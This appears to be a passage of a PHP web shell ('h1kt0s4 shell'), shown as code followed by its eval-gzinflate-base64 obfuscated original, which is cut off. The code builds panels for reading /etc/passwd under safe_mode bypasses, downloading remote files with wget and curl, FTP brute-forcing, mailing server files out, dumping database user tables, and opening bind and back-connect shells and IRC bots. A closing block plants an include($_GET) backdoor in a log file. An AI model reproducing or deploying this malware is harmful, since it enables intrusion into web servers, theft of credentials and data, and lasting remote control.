echo $te.'</div>'.$table_end1.$fe;
}
if($safe_mode&&$unix&&function_exists('mb_send_mail')){
echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id22').$table_up2.div('id22').$ts;
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}
if($safe_mode&&function_exists('imap_list')){
echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id23').$table_up2.div('id23').$ts;
echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}
if($safe_mode&&function_exists('imap_body')){
echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id24').$table_up2.div('id24').$ts;
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}
if($safe_mode)
{
echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id25').$table_up2.div('id25').$ts;
echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8'));
echo sr(15,"<b>".$lang[$language.'_text117'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}
if(@ini_get('file_uploads')){
echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
echo $table_up1.div_title($lang[$language.'_text5'],'id14').$table_up2.div('id14').$ts;
echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile',85,''));
echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
echo $te.'</div>'.$table_end1.$fe;
}
if(!$safe_mode&&$unix){
echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id15').$table_up2.div('id15').$ts;
echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://'));
echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
echo $te.'</div>'.$table_end1.$fe;
}
echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id16').$table_up2.div('id16').$ts;
echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14']));
$arh = $lang[$language.'_text92'];
if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; }
if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; }
if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
echo $te.'</div>'.$table_end1.$fe;
if(@function_exists("ftp_connect")){
echo $table_up1.div_title($lang[$language.'_text93'],'id17').$table_up2.div('id17').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>";
echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("[email protected]"))));
echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down'));
echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14']));
echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>";
echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("[email protected]"))));
echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up'));
echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2']));
echo $te."</td>".$fe."</tr></div></table>";
}
if($unix && @function_exists("ftp_connect")){
echo $fs.$table_up1.div_title($lang[$language.'_text94'],'id18').$table_up2.div('id18').$ts;
echo sr(15,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
echo sr(15,"","<font face=tahoma size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>");
echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']);
echo $te.'</div>'.$table_end1.$fe;
}
if(@function_exists("mail")){
echo $table_up1.div_title($lang[$language.'_text102'],'id19').$table_up2.div('id19').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>";
echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("[email protected]"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));
echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("[email protected]"))));
echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=33 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>');
echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>";
echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("[email protected]"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));
echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("[email protected]"))));
echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from h1kt0s4 shell"))));
echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
echo $te."</td>".$fe."</tr></div></table>";
}
if($mysql_on||$mssql_on||$pg_on||$ora_on)
{
$select = '<select name=db>';
if($mysql_on) $select .= '<option>MySQL</option>';
if($mssql_on) $select .= '<option>MSSQL</option>';
if($pg_on) $select .= '<option>PostgreSQL</option>';
if($ora_on) $select .= '<option>Oracle</option>';
$select .= '</select>';
echo $table_up1.div_title($lang[$language.'_text82'],'id20').$table_up2.div('id20').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>";
echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',31,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9']));
echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>";
echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
echo $te."<div align=center id='n'><textarea cols=55 rows=1 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES; SELECT * FROM user; SELECT version(); select user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div></td>".$fe."</tr></div></table>";
}
if($unix){
echo $table_up1.div_title($lang[$language.'_text81'],'id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15,'9999'));
echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15,'h1kt0s4'));
echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option><option value=\"C\">C1</option></select>".in('hidden','dir',0,$dir));
echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));
echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'80'));
echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"py\">py</option><option value=\"php1\">php</option><option value=\"php2\">php1</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',15,'80'));
echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',15,'irc.dalnet.ru'));
echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',15,'6667'));
echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir));
echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
echo $te."</td>".$fe."</tr></div></table>";
}
if($unix){
echo $table_up1.div_title($lang[$language.'_text81'],'id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port1',35,'9999').ws(4).in('submit','submit',0,$lang[$language.'_butt3']));
echo $te."</td>".$fe."</tr></div></table>";
echo $table_up1.div_title($lang[$language.'_text81'],'id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text214'].$arrow."</b>",in('text','ircadmin',15,'ircadmin'));
echo sr(40,"<b>".$lang[$language.'_text215'].$arrow."</b>",in('text','ircserver',15,'ircserver'));
echo sr(40,"<b>".$lang[$language.'_text216'].$arrow."</b>",in('text','ircchanal',15,'ircchanl'));
echo sr(40,"<b>".$lang[$language.'_text217'].$arrow."</b>",in('text','ircname',15,'ircname'));
echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ips',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','ports',15,'80'));
echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Per1</option></select>".in('hidden','dir',0,$dir));
echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>Proxy</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','proxy_port',10,'31337'));
echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option></select>".in('hidden','dir',0,$dir));
echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
echo $te."</td>".$fe."</tr></div></table>";
}
echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=tahoma size=-2><b>Developed by h1kt0s4</b></font></div></td></tr></table>".$f;
if(empty($_POST['log'])){
} else {
$log=$_POST['log'];
echo error_log("<? print include(\$_GET[ss]) ?>", 3,$log);
echo "</textarea></CENTER>";
}
?><?
Did this file decode correctly?
Original Code
<? eval(gzinflate(base64_decode('
7L15fxq50jD695vfL9+hx8fPwT5xbBbbMck4Z9jd
GLDZl5m5eaAbmjbNMjSY5Zy5n/1WlaTewTjJPMt9
4xnH0C2VSqVSbZJK//z89s3P/3z75uIf/yU/F9jS
//tf8MNakqQT5XSq9lWpt5GqE3mWmX+pJs7S/ee+
MZ2xx8PIaBE2L1nxYkIuSMPFYvbx4uJ50pt39cn5
pL+QzuyHw64ywmf/tTSToE+S9G/pYbbQpxNTou/0
6gI//r//lgrdibbsan16dGzwb7eh/kQLSe8l+GPo
5lA64R9OveW6cyzWnXd7unRCf6CIB84nqz1s/t9S
YrkY9icLfaArXcSLwezCU+lWinyS3p9IXU8RePEw
kaRTV9EwFIWxCiw8GGBhuyRVPClMNX0i/V167Jrm
ajpXpcF0LnUVpW+aBPokdZco5TJS7U6u/vTTT6w5
SQrx0Q7R93FXGk670tLsz6XnrjQDWJLUgx5Li+Gy
u5AW0+5EGqtXErQ/6Y6BCOH4dawXiyrX19Ge2r++
7Pa6vV641+9/uIleDZRY6JMEbRNAAzFEzBHsgTUl
VnXGO3X6X8ljb9/0leFUOjo6Hy7GhjnrK3rXUIbd
uXlyrExnm9PzoyMgfn8+n86/zPuz6XyhT7ST8Ck8
NPuLL+Oupitf/lhOF33zy3wJozjus7e/4Gv8+sXQ
x/qCP9Qn+hd4cRIad9df+uu+ssQRp3KhM0+R6XIx
Wy6+9JaDQX8OrfICx2Z30P8yhgkOnEGlNSxtPQ1R
oef+3GS8FIqcxyLIxPrghD/9okzHs+68fzIbzvij
k9MzKXR5HjkPh06l21vpfQTGQfoX/B5/eXyo1oCN
bqW/H9/Vao/0/UsjUal+ote5DL61X8N3x9tqptLI
VOy37LujQOrh4V7O2AXYd6vAn4i4dPKL5qW2NlNO
TgWSMBH6XQUmOse2a0rHo9vPx89YgErwfvx6PPod
2jIXc31mGl1z2IeRfkaSSdiUExBHLBAUe/cSsD+R
wYDsfB6DdDhFANifn3QTB1nQ59fQ493jl0S9dvel
Dk9Cv59K//43zsI9JX66vaUJuqfkY5OXw8lF+LMO
SMN+V+3PT0LNZvO9kGcgffofpWTX1BUJiGCMb4+4
4JCgZ4ZxFGI9syrjcF0Ax0iX4YhUn2Anp3N921dF
wf4aGP/o597nn0HmzPuDW65PVqvVuTadakb/HDjx
M2/l54vuZ+mjlCB5JqX7E72v/nzR+3zEoQE14f9j
bB3Z+uef3oP4FBhK79+jUsdZTH+hEP4d9xdd0mLv
+38s9efbo9R0soDOvheK40hS2JPbo+78vdk9smqR
7DvKZUqZSqL2UHEULOrKfGpOBwspO4dnjwBGuj4P
e6s+zqearDrqWaXPM6q+mM7P01NlOYZXR3tRrW1m
TjQX/fXiAvv5SSJB1V/crvSJOl2Z7yPRq2uCtdAX
Rv+za/R+vmAPkSXxv5+rtXYhQ197U3WDfDGAJt4P
umPd2HyUat3hdNwlki/m+Db5UElnKu8rcu6u9lGS
/pY0wCaQIrO1ZE4NXf1klag9PH5EgbCzQCGTRQi7
CyQfarWH4sc9baQeCg8VKBCjH3iuTI3pHB7E6ecT
w1v934n3+aLbM/oRG/mPUni23gMkmUjd5yoP9VJa
vCMEdoJXXwEbmeKj9GG2kBr9udqddHdCnb8CauBw
Ya+dIByEBl0IjP7dSKBPQLNiUz0wOPrz//N//s9H
NlLY2Cfx+D1VxXd/C4fj8XB419+97TMC3rxIQLNv
9JVFAMe+yLACmz0su6eIYNqdzfiQ/aq+Vvoq7+ey
B/aQa5x7y8ViOhnq2tCA34UUdY34ztZWuroYfpRi
4f/YxVEgKsHM6f4PJOorGJgRNauv+6q5MaXe1FB3
9Df5kG5jX/9PNVV5KBSSicr7bCKVcQOU7Jd3QIwC
EsQ7xo4y1btE+qG5p0As/RKIRKUCEHYhUatAz/fU
Ticq94FIvH0z7s7B3fjIJ62L0XrQijafLieqqCXI
ibJqDC4uEooBoOn/PnrzAYYpzH/fX8bDDlHwf5xS
wCkpdg0nSUQmYvZh8vZN4qOhT0Y0ahxIc6gv+p+k
WqZVe5/OpB7A/JAfSh+lyXTSp0qJj8+6CWXUV9Ya
TsHYpzoOUu2t0VUW+nP/FVV+vhBmxc+mAlbxQrJ8
6d9CT93nLnv6WwhKDJYThfzdoa72v6j684mOzh8Z
qCq3jM7B7M8YffyY3Mgqljg3FxswHFXdnBndDViC
v4Ww+d9Cn1wVlel0pPdvdfXdb6Hb8Cd6/aejUXM4
XX1Toz1jqoz2thrxtwoW20SjzpoLR8voEbyidbvP
zKZ3dYYQ6htmn71yEvcTHyM2CJ8ROcVA/3+rzwa6
0efYSNJzdy4dq91F1+wrksS8u+583t2ccFuclVAW
cwNgz3eX6E8HX6xSt9LRb+ur8G/ry95v6/AV/F7D
b9j5e+SsDILuy3QwADVA4MP8nUXM5URfR9NTs4ZO
9zF+Qz8aS55yN4d+jvEp4QavnOWo4D8loDd0tX9y
Cs6H+GyVEr3BHxwlG9ivoQ18CP0u/SxF4jfuJt3N
WiWpG1j40+6i4+mElaRg0p5yandjgdxTbjhdzk0q
aFMwEJ4+WYJbHfr9hXLAEdOJ6i/3p/1x3l8s5xPp
JIhY7zmxfv5Zil6Bk+umKOs8vov437EOw8vINbx0
Y4g/J0HdxuIBsKzOwns/GnYfP38Gn5338k8P+3VV
NQuT5oQmyplEvvgZoxXxICvuZETy1tmQmQuKJ4Em
6J+EfvstdCaFLkIciJPnjlWCR3XUvjLsrwHToW6+
/+zmfuJVV0UoqnJcQr+tQ9I5h/Xr9e/25w+/++ko
wWt3jUtHjauDakQdNWIH1Qg7akR+d3Sk/9w1TkLO
7hxRNesBQDr6FHL1fTAngjnFTQx+L498hc6pVOTS
KXy8b92iyff2ZudbC0fnS2CfL0Z/wngAPjD+caGv
zBXOJvApFg0oscUnVELbYjBv3jfNvcXA6obmTvgf
9uJMCp9ZSNCTU5ifl6dnUtSNDuErOTDe+loazPmw
3kozsG5OQg3kZkD/kFII/4BynHL7Sz6H7D7RZHq5
eHhXEQLgeYePqfvO5zgjpfefJa4yf0XhCIVdRFTn
oEvdPBmB3+iRv9ROtnO+DuDZV9QO4FrrdSDbWm/3
DG9gGd+QBZUKGlpPOd/ASi+VDv8PKIG9i0VfLGJx
kMPmOQ3iMMf7d/Z8HMyDG/AxsAAjbDLGqVR+h5ZD
u/AkQJdxyQLV9fHMmKqgxpz94DPBjRY0yuzAwCoC
J2cdZkp4rBFq+tzzUAD3PhfQXZaop5CDwfQtFDzx
43T6/eo0HIzMsT6kKIlcXznfTP/T43AI5fD3YxxJ
slHYR3U5np0di/diIQV+NGPa6xpAURZx/tKfKFNV
n2if3K/HuLa12MwEf5F1LMChcR3qgVsRkv7+d+kX
gc6X/lo3F+YJvBIlQ6ecuVzcJXAlMRw6722jIScn
WW2jcdOdzQy+dHqxfo+NuguLzkLZnkNZiscWuwkL
Fn2ngN5ou3ujbYlG/YP6om1d2HmpjD1av6fGDuyx
r6yjwwKz13d3X2/3jp2n09Tng3vjLcgdUyg26a+E
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
